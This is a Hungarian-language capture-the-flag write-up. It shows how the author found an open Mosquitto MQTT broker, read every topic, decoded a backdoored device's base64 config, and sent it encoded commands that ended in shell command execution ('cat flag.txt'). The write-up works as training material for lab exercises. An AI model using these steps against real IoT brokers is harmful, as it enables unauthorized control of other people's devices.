Ez egy elég nehezen induló CTF volt. A leírás szerint John IoT eszközöket tesztel, amikor valami szokatlanra lesz figyelmes a hálózati kommunikációban. A nagy meglepetés akkor jött, amikor a szokásos nmap keresésekkel egyetlen nyitott portot sem találtam. Elég reménytelennek tűnt, hogy meg tudom oldani a feladatot, ha semmihez nem tudok kapcsolódni.
Akkor arra gondoltam, talán fordítva kellene megközelíteni a dolgot. Ahelyett, hogy agyba-főbe szkennelnék, ismeretlen szolgáltatások után kutatva, talán pont azokat a portokat kellene csak nézni, ahol IoT eszközök szoktak kommunikálni.
nmap -sV -Pn -T4 -p 1883,8883,5683,5684 $IP
Rögtön meg is találtam az 1883-as nyitott portot, ami a Mosquitto bróker dedikált portja. Erről azt kell tudni, hogy összegyűjti az összes eszköz üzeneteit. Minden eszköz egy úgynevezett topic-ot kap, amin keresztül az eszköz elküldi saját állapotát, illetve utasításokat küldhetünk. Két paranccsot kell ismerni: mosquitto_sub, illetve a mosquitto_pub. Először az összes topic üzenetét megnézzük:
mosquitto_sub -h $IP -t "#" -v
Ilyen üzeneteket fogunk kapni:
storage/thermostat {"id":16399166308056728698,"temperature":23.84387}
frontdeck/camera {"id":10197626378469785711,"yaxis":-52.378067,"xaxis":169.65857,"zoom":4.9340644,"movement":false}
kitchen/toaster {"id":11240011071394374848,"in_use":true,"temperature":145.64915,"toast_time":182}
patio/lights {"id":10737355647360197010,"color":"WHITE","status":"OFF"}
livingroom/speaker {"id":17707635654923183114,"gain":55}
storage/thermostat {"id":9129473732134212486,"temperature":23.747482}
Az első oszlop a topic, a második az üzenet maga. Mint látható, a termosztát, a kenyérpirító és a fények rendben működnek. Aztán kapunk valami ilyesmit:
yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==
Ez már érdekes, kezdünk közelebb jutni a megoldáshoz. Base64 kódolású. Dekódolás után ezt kapjuk:
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","registered_commands":["HELP","CMD","SYS"],"pub_topic":"U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub","sub_topic":"XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"}
Két újabb topic. A név alapján az egyiken üzeneteket küldhetünk, a másikon üzeneteket fogadhatunk. Legalábbis ezt feltételeztem. Már csak azt kell kitalálni, hogy milyen formában, és hova kell elküldeni az üzenetete. Itt próba-szerencse alapon küldtem ki az üzeneteket és néztem, mit válaszol a rendszer. A sub_topic-ra kell küldeni és a választ a pub_topic-ba kapjuk. Pont ellentétesen, mint ahogy feltételeztem. Ezért csak azt a topic-ot figyeltem ezután, amelyikre a válaszok érkeztek:
mosquitto_sub -h $IP -t "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub"
A leírás szerint mindent base64-el kell kódolni, ezért elbohóckodtam pár percet azzal, hogy pipe-oljam a mosquitto-t a base64-el, de a bufferelés miatt nem jártam sikerrel. Próbáltam az unbuffer-t is, de valami miatt azzal sem ment. Kénytelen voltam a cyberchef segítségét kérni. Kicsit kényelmetlen volt. Valószínűleg egy Python szkripttel meggyorsítható a folyamat, de sejtettem, hogy már közel a vége.
Először egy HELP kérést küldtem.
mosquitto_pub -h $IP -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsICJjbWQiOiJIRUxQIiwgImFyZyI6IiJ9'
A válasz részletesen leírta a használandó szintaktikát. Utána már bármilyen shell parancsot tudunk küldeni. Kiírathatjuk a flag.txt tartalmát:
mosquitto_pub -h $IP -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsICJjbWQiOiJDTUQiLCAiYXJnIjoiY2F0IGZsYWcudHh0In0='